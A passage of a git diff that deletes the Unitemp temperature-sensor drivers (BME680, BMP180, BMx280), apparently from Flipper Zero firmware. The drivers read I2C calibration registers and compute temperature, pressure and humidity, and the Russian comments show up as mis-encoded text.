-#define BME680_FILTER_COEFF_8 0b00001100 -#define BME680_FILTER_COEFF_16 0b00010000 -//Разрешить работу по SPI -#define BME680_SPI_3W_ENABLE 0b00000001 -#define BME680_SPI_3W_DISABLE 0b00000000 - -/* https://github.com/boschsensortec/BME680_driver/blob/master/bme680.c or - https://github.com/boschsensortec/BME68x-Sensor-API */ -static float BME680_compensate_temperature(I2CSensor* i2c_sensor, int32_t temp_adc) { - BME680_instance* bme680_instance = (BME680_instance*)i2c_sensor->sensorInstance; - float var1 = 0; - float var2 = 0; - float calc_temp = 0; - - /* calculate var1 data */ - var1 = - ((((float)temp_adc / 16384.0f) - ((float)bme680_instance->temp_cal.dig_T1 / 1024.0f)) * - ((float)bme680_instance->temp_cal.dig_T2)); - - /* calculate var2 data */ - var2 = - (((((float)temp_adc / 131072.0f) - ((float)bme680_instance->temp_cal.dig_T1 / 8192.0f)) * - (((float)temp_adc / 131072.0f) - ((float)bme680_instance->temp_cal.dig_T1 / 8192.0f))) * - ((float)bme680_instance->temp_cal.dig_T3 * 16.0f)); - - /* t_fine value*/ - bme680_instance->t_fine = (var1 + var2); - - /* compensated temperature data*/ - calc_temp = ((bme680_instance->t_fine) / 5120.0f); - - return calc_temp; -} - -static float BME680_compensate_pressure(I2CSensor* i2c_sensor, int32_t pres_adc) { - BME680_instance* bme680_instance = (BME680_instance*)i2c_sensor->sensorInstance; - - float var1; - float var2; - float var3; - float calc_pres; - - var1 = (((float)bme680_instance->t_fine / 2.0f) - 64000.0f); - var2 = var1 * var1 * (((float)bme680_instance->press_cal.dig_P6) / (131072.0f)); - var2 = var2 + (var1 * ((float)bme680_instance->press_cal.dig_P5) * 2.0f); - var2 = (var2 / 4.0f) + (((float)bme680_instance->press_cal.dig_P4) * 65536.0f); - var1 = - (((((float)bme680_instance->press_cal.dig_P3 * var1 * var1) / 16384.0f) + - ((float)bme680_instance->press_cal.dig_P2 * var1)) / - 524288.0f); - var1 = ((1.0f + (var1 / 32768.0f)) * ((float)bme680_instance->press_cal.dig_P1)); - calc_pres = (1048576.0f - ((float)pres_adc)); - - /* Avoid exception caused by division by zero */ - if((int)var1 != 0) { - calc_pres = (((calc_pres - (var2 / 4096.0f)) * 6250.0f) / var1); - var1 = - (((float)bme680_instance->press_cal.dig_P9) * calc_pres * calc_pres) / 2147483648.0f; - var2 = calc_pres * (((float)bme680_instance->press_cal.dig_P8) / 32768.0f); - var3 = - ((calc_pres / 256.0f) * (calc_pres / 256.0f) * (calc_pres / 256.0f) * - (bme680_instance->press_cal.dig_P10 / 131072.0f)); - calc_pres = - (calc_pres + - (var1 + var2 + var3 + ((float)bme680_instance->press_cal.dig_P7 * 128.0f)) / 16.0f); - } else { - calc_pres = 0; - } - - return calc_pres; -} - -static float BME680_compensate_humidity(I2CSensor* i2c_sensor, int32_t hum_adc) { - BME680_instance* bme680_instance = (BME680_instance*)i2c_sensor->sensorInstance; - float calc_hum; - float var1; - float var2; - float var3; - float var4; - float temp_comp; - - /* compensated temperature data*/ - temp_comp = ((bme680_instance->t_fine) / 5120.0f); - var1 = - (float)((float)hum_adc) - (((float)bme680_instance->hum_cal.dig_H1 * 16.0f) + - (((float)bme680_instance->hum_cal.dig_H3 / 2.0f) * temp_comp)); - var2 = var1 * - ((float)(((float)bme680_instance->hum_cal.dig_H2 / 262144.0f) * - (1.0f + (((float)bme680_instance->hum_cal.dig_H4 / 16384.0f) * temp_comp) + - (((float)bme680_instance->hum_cal.dig_H5 / 1048576.0f) * temp_comp * temp_comp)))); - var3 = (float)bme680_instance->hum_cal.dig_H6 / 16384.0f; - var4 = (float)bme680_instance->hum_cal.dig_H7 / 2097152.0f; - calc_hum = var2 + ((var3 + (var4 * temp_comp)) * var2 * var2); - if(calc_hum > 100.0f) { - calc_hum = 100.0f; - } else if(calc_hum < 0.0f) { - calc_hum = 0.0f; - } - - return calc_hum; -} - -/* https://github.com/boschsensortec/BME680_driver/blob/master/bme680_defs.h */ -#define BME680_COEFF_SIZE UINT8_C(41) -#define BME680_COEFF_ADDR1_LEN UINT8_C(25) -#define BME680_COEFF_ADDR2_LEN UINT8_C(16) -#define BME680_COEFF_ADDR1 UINT8_C(0x89) -#define BME680_COEFF_ADDR2 UINT8_C(0xe1) -#define BME680_CONCAT_BYTES(msb, lsb) (((uint16_t)msb << 8) | (uint16_t)lsb) -#define BME680_T2_LSB_REG (1) -#define BME680_T2_MSB_REG (2) -#define BME680_T3_REG (3) -#define BME680_P1_LSB_REG (5) -#define BME680_P1_MSB_REG (6) -#define BME680_P2_LSB_REG (7) -#define BME680_P2_MSB_REG (8) -#define BME680_P3_REG (9) -#define BME680_P4_LSB_REG (11) -#define BME680_P4_MSB_REG (12) -#define BME680_P5_LSB_REG (13) -#define BME680_P5_MSB_REG (14) -#define BME680_P7_REG (15) -#define BME680_P6_REG (16) -#define BME680_P8_LSB_REG (19) -#define BME680_P8_MSB_REG (20) -#define BME680_P9_LSB_REG (21) -#define BME680_P9_MSB_REG (22) -#define BME680_P10_REG (23) -#define BME680_H2_MSB_REG (25) -#define BME680_H2_LSB_REG (26) -#define BME680_H1_LSB_REG (26) -#define BME680_H1_MSB_REG (27) -#define BME680_H3_REG (28) -#define BME680_H4_REG (29) -#define BME680_H5_REG (30) -#define BME680_H6_REG (31) -#define BME680_H7_REG (32) -#define BME680_T1_LSB_REG (33) -#define BME680_T1_MSB_REG (34) -#define BME680_GH2_LSB_REG (35) -#define BME680_GH2_MSB_REG (36) -#define BME680_GH1_REG (37) -#define BME680_GH3_REG (38) -#define BME680_HUM_REG_SHIFT_VAL UINT8_C(4) -#define BME680_BIT_H1_DATA_MSK UINT8_C(0x0F) - -static bool BME680_readCalValues(I2CSensor* i2c_sensor) { - BME680_instance* bme680_instance = (BME680_instance*)i2c_sensor->sensorInstance; - uint8_t coeff_array[BME680_COEFF_SIZE] = {0}; - - if(!unitemp_i2c_readRegArray( - i2c_sensor, BME680_COEFF_ADDR1, BME680_COEFF_ADDR1_LEN, &coeff_array[0])) - return false; - if(!unitemp_i2c_readRegArray( - i2c_sensor, - BME680_COEFF_ADDR2, - BME680_COEFF_ADDR2_LEN, - &coeff_array[BME680_COEFF_ADDR1_LEN])) - return false; - - /* Temperature related coefficients */ - bme680_instance->temp_cal.dig_T1 = (uint16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_T1_MSB_REG], coeff_array[BME680_T1_LSB_REG])); - bme680_instance->temp_cal.dig_T2 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_T2_MSB_REG], coeff_array[BME680_T2_LSB_REG])); - bme680_instance->temp_cal.dig_T3 = (int8_t)(coeff_array[BME680_T3_REG]); - - /* Pressure related coefficients */ - bme680_instance->press_cal.dig_P1 = (uint16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_P1_MSB_REG], coeff_array[BME680_P1_LSB_REG])); - bme680_instance->press_cal.dig_P2 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_P2_MSB_REG], coeff_array[BME680_P2_LSB_REG])); - bme680_instance->press_cal.dig_P3 = (int8_t)coeff_array[BME680_P3_REG]; - bme680_instance->press_cal.dig_P4 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_P4_MSB_REG], coeff_array[BME680_P4_LSB_REG])); - bme680_instance->press_cal.dig_P5 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_P5_MSB_REG], coeff_array[BME680_P5_LSB_REG])); - bme680_instance->press_cal.dig_P6 = (int8_t)(coeff_array[BME680_P6_REG]); - bme680_instance->press_cal.dig_P7 = (int8_t)(coeff_array[BME680_P7_REG]); - bme680_instance->press_cal.dig_P8 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_P8_MSB_REG], coeff_array[BME680_P8_LSB_REG])); - bme680_instance->press_cal.dig_P9 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_P9_MSB_REG], coeff_array[BME680_P9_LSB_REG])); - bme680_instance->press_cal.dig_P10 = (uint8_t)(coeff_array[BME680_P10_REG]); - - /* Humidity related coefficients */ - bme680_instance->hum_cal.dig_H1 = - (uint16_t)(((uint16_t)coeff_array[BME680_H1_MSB_REG] << BME680_HUM_REG_SHIFT_VAL) | (coeff_array[BME680_H1_LSB_REG] & BME680_BIT_H1_DATA_MSK)); - bme680_instance->hum_cal.dig_H2 = - (uint16_t)(((uint16_t)coeff_array[BME680_H2_MSB_REG] << BME680_HUM_REG_SHIFT_VAL) | ((coeff_array[BME680_H2_LSB_REG]) >> BME680_HUM_REG_SHIFT_VAL)); - bme680_instance->hum_cal.dig_H3 = (int8_t)coeff_array[BME680_H3_REG]; - bme680_instance->hum_cal.dig_H4 = (int8_t)coeff_array[BME680_H4_REG]; - bme680_instance->hum_cal.dig_H5 = (int8_t)coeff_array[BME680_H5_REG]; - bme680_instance->hum_cal.dig_H6 = (uint8_t)coeff_array[BME680_H6_REG]; - bme680_instance->hum_cal.dig_H7 = (int8_t)coeff_array[BME680_H7_REG]; - - /* Gas heater related coefficients */ - bme680_instance->gas_cal.dig_GH1 = (int8_t)coeff_array[BME680_GH1_REG]; - bme680_instance->gas_cal.dig_GH2 = (int16_t)(BME680_CONCAT_BYTES( - coeff_array[BME680_GH2_MSB_REG], coeff_array[BME680_GH2_LSB_REG])); - bme680_instance->gas_cal.dig_GH3 = (int8_t)coeff_array[BME680_GH3_REG]; - -#ifdef UNITEMP_DEBUG - FURI_LOG_D( - APP_NAME, - "Sensor BME680 T1-T3: %d, %d, %d", - bme680_instance->temp_cal.dig_T1, - bme680_instance->temp_cal.dig_T2, - bme680_instance->temp_cal.dig_T3); - - FURI_LOG_D( - APP_NAME, - "Sensor BME680: P1-P10: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d", - bme680_instance->press_cal.dig_P1, - bme680_instance->press_cal.dig_P2, - bme680_instance->press_cal.dig_P3, - bme680_instance->press_cal.dig_P4, - bme680_instance->press_cal.dig_P5, - bme680_instance->press_cal.dig_P6, - bme680_instance->press_cal.dig_P7, - bme680_instance->press_cal.dig_P8, - bme680_instance->press_cal.dig_P9, - bme680_instance->press_cal.dig_P10); - - FURI_LOG_D( - APP_NAME, - "Sensor BME680: H1-H7: %d, %d, %d, %d, %d, %d, %d", - bme680_instance->hum_cal.dig_H1, - bme680_instance->hum_cal.dig_H2, - bme680_instance->hum_cal.dig_H3, - bme680_instance->hum_cal.dig_H4, - bme680_instance->hum_cal.dig_H5, - bme680_instance->hum_cal.dig_H6, - bme680_instance->hum_cal.dig_H7); - - FURI_LOG_D( - APP_NAME, - "Sensor BME680 GH1-GH3: %d, %d, %d", - bme680_instance->gas_cal.dig_GH1, - bme680_instance->gas_cal.dig_GH2, - bme680_instance->gas_cal.dig_GH3); - -#endif - - bme680_instance->last_cal_update_time = furi_get_tick(); - return true; -} -static bool BME680_isMeasuring(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - return (bool)(unitemp_i2c_readReg(i2c_sensor, BME680_REG_STATUS) & 0x20); -} - -bool unitemp_BME680_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - BME680_instance* bme680_instance = malloc(sizeof(BME680_instance)); - if(bme680_instance == NULL) { - FURI_LOG_E(APP_NAME, "Failed to allocation sensor %s instance", sensor->name); - return false; - } - - if(sensor->type == &BME680) bme680_instance->chip_id = BME680_ID; - - i2c_sensor->sensorInstance = bme680_instance; - - i2c_sensor->minI2CAdr = BME680_I2C_ADDR_MIN; - i2c_sensor->maxI2CAdr = BME680_I2C_ADDR_MAX; - return true; -} - -bool unitemp_BME680_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - //Перезагрузка - unitemp_i2c_writeReg(i2c_sensor, 0xE0, 0xB6); - //Чтение ID датчика - uint8_t id = unitemp_i2c_readReg(i2c_sensor, 0xD0); - if(id != BME680_ID) { - FURI_LOG_E( - APP_NAME, - "Sensor %s returned wrong ID 0x%02X, expected 0x%02X", - sensor->name, - id, - BME680_ID); - return false; - } - - unitemp_i2c_writeReg( - i2c_sensor, - BME680_REG_CTRL_HUM, - (unitemp_i2c_readReg(i2c_sensor, BME680_REG_CTRL_HUM) & ~7) | BME680_HUM_OVERSAMPLING_1); - unitemp_i2c_writeReg( - i2c_sensor, - BME680_REG_CTRL_MEAS, - BME680_TEMP_OVERSAMPLING_2 | BME680_PRESS_OVERSAMPLING_4 | BME680_MODE_FORCED); - //ÐаÑтройка периода опроÑа и фильтрации значений - unitemp_i2c_writeReg( - i2c_sensor, BME680_REG_CONFIG, BME680_FILTER_COEFF_16 | BME680_SPI_3W_DISABLE); - //Чтение калибровочных значений - if(!BME680_readCalValues(i2c_sensor)) { - FURI_LOG_E(APP_NAME, "Failed to read calibration values sensor %s", sensor->name); - return false; - } - return true; -} - -bool unitemp_BME680_deinit(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - //Перевод в Ñон - unitemp_i2c_writeReg(i2c_sensor, BME680_REG_CTRL_MEAS, BME680_MODE_SLEEP); - return true; -} - -UnitempStatus unitemp_BME680_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - BME680_instance* instance = i2c_sensor->sensorInstance; - - uint32_t t = furi_get_tick(); - - uint8_t buff[3]; - //Проверка инициализированноÑти датчика - unitemp_i2c_readRegArray(i2c_sensor, 0xF4, 2, buff); - if(buff[0] == 0) { - FURI_LOG_W(APP_NAME, "Sensor %s is not initialized!", sensor->name); - return UT_SENSORSTATUS_ERROR; - } - - unitemp_i2c_writeReg( - i2c_sensor, - BME680_REG_CTRL_MEAS, - unitemp_i2c_readReg(i2c_sensor, BME680_REG_CTRL_MEAS) | 1); - - while(BME680_isMeasuring(sensor)) { - if(furi_get_tick() - t > 100) { - return UT_SENSORSTATUS_TIMEOUT; - } - } - - if(furi_get_tick() - instance->last_cal_update_time > BOSCH_CAL_UPDATE_INTERVAL) { - BME680_readCalValues(i2c_sensor); - } - - if(!unitemp_i2c_readRegArray(i2c_sensor, 0x1F, 3, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t adc_P = ((int32_t)buff[0] << 12) | ((int32_t)buff[1] << 4) | ((int32_t)buff[2] >> 4); - if(!unitemp_i2c_readRegArray(i2c_sensor, 0x22, 3, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t adc_T = ((int32_t)buff[0] << 12) | ((int32_t)buff[1] << 4) | ((int32_t)buff[2] >> 4); - if(!unitemp_i2c_readRegArray(i2c_sensor, 0x25, 2, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t adc_H = ((uint16_t)buff[0] << 8) | buff[1]; - - sensor->temp = BME680_compensate_temperature(i2c_sensor, adc_T); - sensor->pressure = BME680_compensate_pressure(i2c_sensor, adc_P); - sensor->hum = BME680_compensate_humidity(i2c_sensor, adc_H); - - return UT_SENSORSTATUS_OK; -} - -bool unitemp_BME680_free(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - free(i2c_sensor->sensorInstance); - return true; -} \ No newline at end of file diff --git a/applications/external/unitemp/sensors/BME680.h b/applications/external/unitemp/sensors/BME680.h deleted file mode 100644 index b126c7c84..000000000 --- a/applications/external/unitemp/sensors/BME680.h +++ /dev/null @@ -1,112 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - Contributed by g0gg0 (https://github.com/g3gg0) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_BME680 -#define UNITEMP_BME680 - -#include "../unitemp.h" -#include "../Sensors.h" -#include "../interfaces/I2CSensor.h" - -typedef struct { - uint16_t dig_T1; - int16_t dig_T2; - int16_t dig_T3; -} BME680_temp_cal; - -typedef struct { - uint16_t dig_GH1; - int16_t dig_GH2; - int16_t dig_GH3; -} BME680_gas_cal; - -typedef struct { - uint16_t dig_P1; - int16_t dig_P2; - int16_t dig_P3; - int16_t dig_P4; - int16_t dig_P5; - int16_t dig_P6; - int16_t dig_P7; - int16_t dig_P8; - int16_t dig_P9; - int16_t dig_P10; -} BME680_press_cal; - -typedef struct { - uint16_t dig_H1; - uint16_t dig_H2; - int8_t dig_H3; - int8_t dig_H4; - int8_t dig_H5; - uint8_t dig_H6; - int8_t dig_H7; -} BME680_hum_cal; - -typedef struct { - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ - BME680_temp_cal temp_cal; - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ - BME680_press_cal press_cal; - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð²Ð»Ð°Ð¶Ð½Ð¾Ñти воздуха - BME680_hum_cal hum_cal; - BME680_gas_cal gas_cal; - //Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ñледнего Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ°Ð»Ð¸Ð±Ñ€Ð¾Ð²Ð¾Ñ‡Ð½Ñ‹Ñ… значений - uint32_t last_cal_update_time; - //Индификатор датчика - uint8_t chip_id; - //Корректировочное значение температуры - int32_t t_fine; -} BME680_instance; - -extern const SensorType BMP280; -extern const SensorType BME680; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика BMP280 - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_BME680_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика BMP280 - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_BME680_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param sensor Указатель на датчик - */ -bool unitemp_BME680_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð¿Ñ€Ð¾Ñа датчика - */ -UnitempStatus unitemp_BME680_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * @param sensor Указатель на датчик - */ -bool unitemp_BME680_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/BMP180.c b/applications/external/unitemp/sensors/BMP180.c deleted file mode 100644 index aa0198289..000000000 --- a/applications/external/unitemp/sensors/BMP180.c +++ /dev/null @@ -1,171 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "BMP180.h" -#include "../interfaces/I2CSensor.h" - -typedef struct { - int16_t AC1; - int16_t AC2; - int16_t AC3; - uint16_t AC4; - uint16_t AC5; - uint16_t AC6; - int16_t B1; - int16_t B2; - int16_t MB; - int16_t MC; - int16_t MD; -} BMP180_cal; - -typedef struct { - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ - BMP180_cal bmp180_cal; -} BMP180_instance; - -const SensorType BMP180 = { - .typename = "BMP180", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_PRESSURE, - .pollingInterval = 1000, - .allocator = unitemp_BMP180_I2C_alloc, - .mem_releaser = unitemp_BMP180_I2C_free, - .initializer = unitemp_BMP180_init, - .deinitializer = unitemp_BMP180_I2C_deinit, - .updater = unitemp_BMP180_I2C_update}; - -bool unitemp_BMP180_I2C_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0x77 << 1; - i2c_sensor->maxI2CAdr = 0x77 << 1; - - BMP180_instance* bmx280_instance = malloc(sizeof(BMP180_instance)); - i2c_sensor->sensorInstance = bmx280_instance; - return true; -} - -bool unitemp_BMP180_I2C_free(Sensor* sensor) { - UNUSED(sensor); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - free(i2c_sensor->sensorInstance); - return true; -} - -bool unitemp_BMP180_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //Перезагрузка - if(!unitemp_i2c_writeReg(i2c_sensor, 0xE0, 0xB6)) return false; - furi_delay_ms(100); - - //Проверка ID - uint8_t id = unitemp_i2c_readReg(i2c_sensor, 0xD0); - if(id != 0x55) { - FURI_LOG_E( - APP_NAME, "Sensor %s returned wrong ID 0x%02X, expected 0x55", sensor->name, id); - return false; - } - - BMP180_instance* bmp180_instance = i2c_sensor->sensorInstance; - - uint8_t buff[22] = {0}; - - //Чтение калибровочных значений - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xAA, 22, buff)) return false; - bmp180_instance->bmp180_cal.AC1 = (buff[0] << 8) | buff[1]; - bmp180_instance->bmp180_cal.AC2 = (buff[2] << 8) | buff[3]; - bmp180_instance->bmp180_cal.AC3 = (buff[4] << 8) | buff[5]; - bmp180_instance->bmp180_cal.AC4 = (buff[6] << 8) | buff[7]; - bmp180_instance->bmp180_cal.AC5 = (buff[8] << 8) | buff[9]; - bmp180_instance->bmp180_cal.AC6 = (buff[10] << 8) | buff[11]; - bmp180_instance->bmp180_cal.B1 = (buff[12] << 8) | buff[13]; - bmp180_instance->bmp180_cal.B2 = (buff[14] << 8) | buff[15]; - bmp180_instance->bmp180_cal.MB = (buff[16] << 8) | buff[17]; - bmp180_instance->bmp180_cal.MC = (buff[18] << 8) | buff[19]; - bmp180_instance->bmp180_cal.MD = (buff[20] << 8) | buff[21]; - - UNITEMP_DEBUG( - "Sensor BMP180 (0x%02X) calibration values: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d", - i2c_sensor->currentI2CAdr, - bmp180_instance->bmp180_cal.AC1, - bmp180_instance->bmp180_cal.AC2, - bmp180_instance->bmp180_cal.AC3, - bmp180_instance->bmp180_cal.AC4, - bmp180_instance->bmp180_cal.AC5, - bmp180_instance->bmp180_cal.AC6, - bmp180_instance->bmp180_cal.B1, - bmp180_instance->bmp180_cal.B2, - bmp180_instance->bmp180_cal.MB, - bmp180_instance->bmp180_cal.MC, - bmp180_instance->bmp180_cal.MD); - return true; -} - -bool unitemp_BMP180_I2C_deinit(Sensor* sensor) { - //Ðечего деинициализировать - UNUSED(sensor); - return true; -} - -UnitempStatus unitemp_BMP180_I2C_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - BMP180_instance* bmp180_instance = i2c_sensor->sensorInstance; - - //Чтение температуры - if(!unitemp_i2c_writeReg(i2c_sensor, 0xF4, 0x2E)) return UT_SENSORSTATUS_TIMEOUT; - furi_delay_ms(5); - uint8_t buff[3] = {0}; - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xF6, 2, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t UT = ((uint16_t)buff[0] << 8) + buff[1]; - int32_t X1 = (UT - bmp180_instance->bmp180_cal.AC6) * bmp180_instance->bmp180_cal.AC5 >> 15; - int32_t X2 = (bmp180_instance->bmp180_cal.MC << 11) / (X1 + bmp180_instance->bmp180_cal.MD); - int32_t B5 = X1 + X2; - sensor->temp = ((B5 + 8) / 16) * 0.1f; - - //Чтение Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ - if(!unitemp_i2c_writeReg(i2c_sensor, 0xF4, 0x34 + (0b11 << 6))) return UT_SENSORSTATUS_TIMEOUT; - furi_delay_ms(26); - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xF6, 3, buff)) return UT_SENSORSTATUS_TIMEOUT; - uint32_t UP = ((buff[0] << 16) + (buff[1] << 8) + buff[2]) >> (8 - 0b11); - - int32_t B6, X3, B3, P; - uint32_t B4, B7; - B6 = B5 - 4000; - X1 = (bmp180_instance->bmp180_cal.B2 * ((B6 * B6) >> 12)) >> 11; - X2 = (bmp180_instance->bmp180_cal.AC2 * B6) >> 11; - X3 = X1 + X2; - B3 = (((bmp180_instance->bmp180_cal.AC1 * 4 + X3) << 0b11) + 2) >> 2; - X1 = (bmp180_instance->bmp180_cal.AC3 * B6) >> 13; - X2 = (bmp180_instance->bmp180_cal.B1 * ((B6 * B6) >> 12)) >> 16; - X3 = ((X1 + X2) + 2) >> 2; - B4 = (bmp180_instance->bmp180_cal.AC4 * (unsigned long)(X3 + 32768)) >> 15; - B7 = ((unsigned long)UP - B3) * (50000 >> 0b11); - if(B7 < 0x80000000) - P = (B7 * 2) / B4; - else - P = (B7 / B4) * 2; - X1 = (P >> 8) * (P >> 8); - X1 = (X1 * 3038) >> 16; - X2 = (-7357 * (P)) >> 16; - P = P + ((X1 + X2 + 3791) >> 4); - sensor->pressure = P; - - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/BMP180.h b/applications/external/unitemp/sensors/BMP180.h deleted file mode 100644 index ce2569092..000000000 --- a/applications/external/unitemp/sensors/BMP180.h +++ /dev/null @@ -1,62 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_BMP180 -#define UNITEMP_BMP180 - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType BMP180; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика BMP180 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_BMP180_I2C_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика BMP180 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_BMP180_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_BMP180_I2C_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_BMP180_I2C_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_BMP180_I2C_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/BMx280.c b/applications/external/unitemp/sensors/BMx280.c deleted file mode 100644 index db445d330..000000000 --- a/applications/external/unitemp/sensors/BMx280.c +++ /dev/null @@ -1,345 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "BMx280.h" - -const SensorType BMP280 = { - .typename = "BMP280", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_PRESSURE, - .pollingInterval = 500, - .allocator = unitemp_BMx280_alloc, - .mem_releaser = unitemp_BMx280_free, - .initializer = unitemp_BMx280_init, - .deinitializer = unitemp_BMx280_deinit, - .updater = unitemp_BMx280_update}; -const SensorType BME280 = { - .typename = "BME280", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY | UT_PRESSURE, - - .pollingInterval = 500, - .allocator = unitemp_BMx280_alloc, - .mem_releaser = unitemp_BMx280_free, - .initializer = unitemp_BMx280_init, - .deinitializer = unitemp_BMx280_deinit, 